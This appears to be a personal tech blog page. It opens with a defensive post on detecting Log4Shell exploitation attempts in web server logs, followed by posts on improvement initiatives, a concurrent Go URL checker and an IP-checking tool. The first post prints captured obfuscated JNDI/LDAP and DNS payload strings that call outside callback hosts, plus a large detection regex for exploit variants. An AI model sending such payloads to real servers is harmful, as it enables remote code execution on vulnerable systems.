log4shell

During this year’s Advent the Log4Shell vulnerability was discovered. It’s a vulnerability with high impact. This is because of three factors. It allows an attacker to run arbitrary code (downloaded from LDAP servers) on the victim’s system. Log4j is a logging library used by lots of programs. It’s easy to exploit. The way to fix this vulnerability is upgrade the log4j library to the latest version.

To find out if someone is trying to exploit this vulnerability in your system you can review your logs. For example:

$ sudo journalctl --since 2021-12-09 | \
grep -iE '\$\{jndi:'
Dec 12 05:34:35 cloud waf[638]: 165.22.201.45 - - [12/Dec/2021:05:34:35 +0000] "GET / HTTP/1.1" 444 0 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
Dec 13 00:51:28 cloud waf[638]: 157.245.108.40 - - [13/Dec/2021:00:51:28 +0000] "GET / HTTP/1.1" 444 0 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"
Dec 13 05:01:39 cloud waf[638]: 45.83.64.19 - - [13/Dec/2021:05:01:39 +0000] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 444 0 "${jndi:dns://45.83.64.1/securityscan-http80}" "${jndi:dns://45.83.64.1/securityscan-http80}"

These are logs from NGINX web server. There is no Java running on this system but the Internet is being scanned en masse. The web server is returning 444 because it’s configured like this:

# Just close connection if the server is accessed via IP address or via the
# wrong hostname. _ is just an invalid value which will never trigger on a real
# hostname.
server {
    listen 443 default_server;
    server_name _;
    return 444;
}

More sophisticated exploits and evasion techniques are being discovered. So instead of the simple \$\{jndi: regex you can use this monster. It’s handy to store it in an environment variable:

L4S_REGEX='(?im)(?:^|[\n]).*?(?:[\x24]|%(?:25%?)*24|\\u?0*(?:44|24))(?:[\x7b]|%(?:25%?)*7b|\\u?0*(?:7b|173))[^\n]*?((?:j|%(?:25%?)*(?:4a|6a)|\\u?0*(?:112|6a|4a|152))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))[^\n]*?((?:l|%(?:25%?)*(?:4c|6c)|\\u?0*(?:154|114|6c|4c))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?|(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:m|%(?:25%?)*(?:4d|6d)|\\u?0*(?:4d|155|115|6d))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))|(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))){2}[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))|(?:c|%(?:25%?)*(?:43|63)|\\u?0*(?:143|103|63|43))[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:h|%(?:25%?)*(?:48|68)|\\u?0*(?:110|68|48|150))(?:[^\n]*?(?:t|%(?:25%?)*(?:54|74)|\\u?0*(?:124|74|54|164))){2}[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?)[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))|(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))[^\n]*?(?:e|%(?:25%?)*(?:45|65)|\\u?0*(?:45|145|105|65))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))(JH[s-v]|[\x2b\x2f-9A-Za-z][CSiy]R7|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]ke[\x2b\x2f-9w-z]))'

Now, the command searching the logs for signs of exploit looks like this:

sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" 

If you are curious who is making these requests you can pull out the IP addresses from the logs, for example:

$ sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" | \
perl -wlne '/((?:\d{1,3}\.){3}\d{1,3})/ && print $1' | sort | uniq
157.245.108.40
165.22.201.45
45.83.64.19

To discover information about the IP addresses you might find checkip useful:

$ for ip in $(sudo journalctl --since 2021-12-09 | \
perl -wlne "/$L4S_REGEX/ && print" | \
perl -wlne '/((?:\d{1,3}\.){3}\d{1,3})/ && print $1' | sort | uniq)
do
echo "---[$ip]---"; checkip $ip 2> /dev/null
done
---[157.245.108.40]---
abuseipdb.com   domain: digitalocean.com, usage type: Data Center/Web Hosting/Transit
iptoasn.com     AS description: DIGITALOCEAN-ASN - DigitalOcean, LLC
maxmind.com     city: Bengaluru, country: India (IN)
ping            0% packet loss, sent 5, recv 5, avg round-trip 141 ms
shodan.io       OS: n/a, 1 open port: tcp/4646
urlscan.io      0 related URLs
virustotal.com  network: 157.245.0.0/16, SAN: knrao.in, cpanel.knrao.in, cpcalendars.knrao.in, cpcontacts.knrao.in, mail.knrao.in, webdisk.knrao.in, webmail.knrao.in, www.knrao.in
Malicious       38% 🤏
---[165.22.201.45]---
abuseipdb.com   domain: digitalocean.com, usage type: Data Center/Web Hosting/Transit
iptoasn.com     AS description: DIGITALOCEAN-ASN - DigitalOcean, LLC
maxmind.com     city: Amsterdam, country: Netherlands (NL)
ping            0% packet loss, sent 5, recv 5, avg round-trip 16 ms
shodan.io       OS: Ubuntu, 4 open ports: tcp/22 (OpenSSH, 8.2p1 Ubuntu-4ubuntu0.2), tcp/80 (Apache httpd, 2.4.51), tcp/443 (Apache httpd, 2.4.7), tcp/465 (Exim smtpd, 4.94.2)
urlscan.io      0 related URLs
virustotal.com  network: 165.22.0.0/16, SAN: *.adleon2jnbvsh.com, adleon2jnbvsh.com
Malicious       38% 🤏
---[45.83.64.49]---
abuseipdb.com   domain: n/a, usage type: n/a
iptoasn.com     AS description: ALPHASTRIKE-RESEARCH
maxmind.com     city: n/a, country: Germany (DE)
ping            0% packet loss, sent 5, recv 5, avg round-trip 16 ms
shodan.io       OS: n/a, 1 open port: tcp/179
urlscan.io      0 related URLs
virustotal.com  network: 45.83.64.0/22, SAN: n/a
Malicious       50% 🚫

Life cycle of a silver bullet

I’ve watched SRECon discussion about DevOps. They mentioned a paper from Sarah A. Sheard called “Life Cycle of a Silver Bullet”. Written in 2003. I googled it and read it and I was enlightened. (While writing this, I’ve been served tea by a robot for the first time in my life!). The paper contains several ideas I had and several observations I made while being part of an attempt to introduce something like DevOps within a company.

Sheard claims that “improvement initiatives” can and do work, but it very much depends on how they are implemented. In this post I’ll try to extract from the paper the positive and negative signals you can observe when trying to implement an improvement initiative, like DevOps or Agile.

Positive signals

Someone with power to make changes (like an executive or a manager) takes a close look how his company is working to determine problems. He also looks at company’s strengths.

You can see there is real focus and dedication (of time and money) to implement the identified improvements.

The problems are truly solved, not just glossed over.

A climate of openess without retribution is fostered, and senior managers listen to messages from all levels of the company.

Products start to be created more efficiently and with better quality.

Negative signals

Managers read only short summary articles about the improvement method.

The implementing managers ask workers to implement some specific improvements (read in the blogs) without costly discussion or modification.

Some specific improvements are ruled out with reasoning that they would be costly to implement.

Executives and managers don’t really listen to workers nor change their own way of working. What they state as improvement in communication is really only about downward communication.

Lack of executive involvement. Managers don’t involve executives because the superiors might feel threatened or embarrassed.

Dilution of emphasis.

Tendency to apply the steps as a checklist rather than to seek and fix the company’s basic business problems.

Workers feel bombarded by misuderstood management initiatives that don’t solve any real problems.

Concurrent CLI tools with Go

Imagine you have a list of 100 URLs and you want to check whether they are OK (i.e. they return 200 HTTP status code). Well, easy enough you might think - I’ll run curl with some fancy options in a for loop:

$ time for url in $(cat urls.txt); do curl -s -o /dev/null -w "%{http_code}" -L $url; echo " $url"; done
200 https://golang.org/doc
200 https://perl.org
404 https://perl.org/python

<...SNIP...>

real    0m37.991s
user    0m3.491s
sys     0m1.243s

Wait a second! Almost 40 seconds? What if I needed to check 10,000 URLs!

Let’s try another approach. Go is famous for its easy concurrency by the virtue of goroutines and channels. It’s true that it is much easier (and cheaper) to write concurrent programs in Go than in many other languages. But writing a concurrent program is still more difficult than a sequential one. So you might find useful the work package that abstracts the concurrency code away. To use it you just need to implement Factory and Task interfaces.

To implement the Factory interface you need to create a data structure (an empty struct in this case) with the Generate method.

type factory struct{}

func (f *factory) Generate(line string) work.Task {
    t := &task{URL: line}
    return t
}

The Generate method takes a line from STDIN and creates a task from it. Task is another interface. It requires Process method that will process the task and Print method to print the results.

type task struct {
    URL    string
    Status bool
}

func (t *task) Process() {
    resp, err := http.Get(t.URL)
    if err != nil {
        return
    }
    if resp.StatusCode == http.StatusOK {
        t.Status = true
    }
}

func (t *task) Print() {
    status := map[bool]string{
        true:  "OK",
        false: "NOTOK",
    }
    fmt.Printf("%-5s %s\n", status[t.Status], t.URL)
}

Now you run the factory with some number of workers:

func main() {
    w := flag.Int("w", 100, "number of concurrent workers")
    flag.Parse()

    f := &factory{}
    work.Run(f, *w, []string{})
}

Let’s see if we can check those 100 URLs faster:

$ go build
$ time ./urlchecker < urls.txt
NOTOK https://nonexistent.net
OK    https://reisinge.net/notes/go/basics
OK    https://golang.org/doc

<...SNIP...>

real    0m1.641s
user    0m0.438s
sys     0m0.222s

Less than two seconds. That’s not bad :-). See examples for the full program described above and more.

Check an IP address

Sometimes I come across an unknown IP address. This happens, for example, when I’m reviewing logs and I see that someone or (most probably) something was trying to SSH into the system. Or it was enumerating the URL paths of a web application.

In such scenario I want to have a quick and easy way to check the IP address. I created a command line tool called checkip that does just that. For example, the following IP address definitely looks suspicious: